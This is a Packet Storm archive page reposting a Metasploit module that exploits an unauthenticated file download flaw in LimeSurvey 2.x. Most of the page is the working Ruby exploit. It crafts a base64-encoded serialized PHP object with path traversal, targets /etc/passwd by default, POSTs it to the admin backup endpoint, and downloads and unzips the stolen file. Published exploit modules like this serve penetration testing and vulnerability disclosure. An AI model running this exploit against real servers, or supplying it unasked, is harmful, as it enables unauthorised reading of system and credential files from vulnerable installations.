exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Limesurvey Unauthenticated File Download

Limesurvey Unauthenticated File Download
Posted Aug 31, 2024
Authored by Christian Mehlmauer, Pichaya Morimoto | Site metasploit.com

This Metasploit module exploits an unauthenticated file download vulnerability in limesurvey between 2.0+ and 2.06+ Build 151014. The file is downloaded as a ZIP and unzipped automatically, thus binary files can be downloaded.

tags | exploit
SHA-256 | 30ad0929e6b5c744fd9ac77f7ee226b311b36f66dca118f93f088a4d54c365cb

Limesurvey Unauthenticated File Download

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# for extracting files
require 'zip'

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Limesurvey Unauthenticated File Download',
'Description' => %q{
This module exploits an unauthenticated file download vulnerability
in limesurvey between 2.0+ and 2.06+ Build 151014. The file is downloaded
as a ZIP and unzipped automatically, thus binary files can be downloaded.
},
'Author' => [
'Pichaya Morimoto', # Vulnerability Discovery
'Christian Mehlmauer' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://sec-consult.com/vulnerability-lab/advisory/multiple-critical-vulnerabilities-in-lime-survey/'],
['URL', 'https://www.limesurvey.org/blog/22-security/136-limesurvey-security-advisory-10-2015'],
['URL', 'https://github.com/LimeSurvey/LimeSurvey/compare/2.06_plus_151014...2.06_plus_151016?w=1']
],
'DisclosureDate' => '2015-10-12'
)
)

register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [true, 'The base path to the limesurvey installation', '/']),
OptString.new('FILEPATH', [true, 'Path of the file to download', '/etc/passwd']),
OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 15])
]
)
end

def filepath
datastore['FILEPATH']
end

def traversal_depth
datastore['TRAVERSAL_DEPTH']
end

def payload
traversal = '/..' * traversal_depth
file = "#{traversal}#{filepath}"
serialized = 'a:1:{i:0;O:16:"CMultiFileUpload":1:{s:4:"file";s:' + file.length.to_s + ':"' + file + '";}}'
Rex::Text.encode_base64(serialized)
end

def unzip_file(zipfile)
zip_data = Hash.new
begin
Zip::File.open_buffer(zipfile) do |filezip|
filezip.each do |entry|
zip_data[::File.expand_path(entry.name)] = filezip.read(entry)
end
end
rescue Zip::Error => e
print_error("Error extracting ZIP: #{e}")
end
return zip_data
end

def run
csrf_token = Rex::Text.rand_text_alpha(10)

vars_post = {
'YII_CSRF_TOKEN' => csrf_token,
'destinationBuild' => Rex::Text.rand_text_alpha(5),
'datasupdateinfo' => payload
}

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'index.php', 'admin', 'update', 'sa', 'backup'),
'cookie' => "YII_CSRF_TOKEN=#{csrf_token}",
'vars_post' => vars_post
})

if res && res.code == 200 && res.body && res.body.include?('Download this file')
match = res.body.match(%r{<div class="updater-background">\s+<p class="success " style="text-align: left;">\s+<strong>[^<]+</strong>\s+<br/>\s+([^<]+)<br/>\s+<a class="btn btn-success" href="([^"]+)" title="Download this file">Download this file</a>})
if match
local_path = match[1]
download_url = match[2]
print_status("File saved to #{local_path}")
print_status("Downloading backup from URL #{download_url}")

res = send_request_cgi({
'method' => 'GET',
'uri' => download_url
})

if res && res.code == 200
unzipped = unzip_file(res.body)

unzipped.each do |filename, content|
print_good("Filename: #{filename}")
print_good(content)

path = store_loot(
'limesurvey.http',
'application/octet-stream',
rhost,
content,
filename
)
print_good("File saved in: #{path}")
end
else
print_error('Failed to download file')
end
else
print_error('Failed to download file')
end
else
print_error('Failed to download file')
end
end
end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    0 Files
  • 3
    Sep 3rd
    0 Files
  • 4
    Sep 4th
    0 Files
  • 5
    Sep 5th
    0 Files
  • 6
    Sep 6th
    0 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    0 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close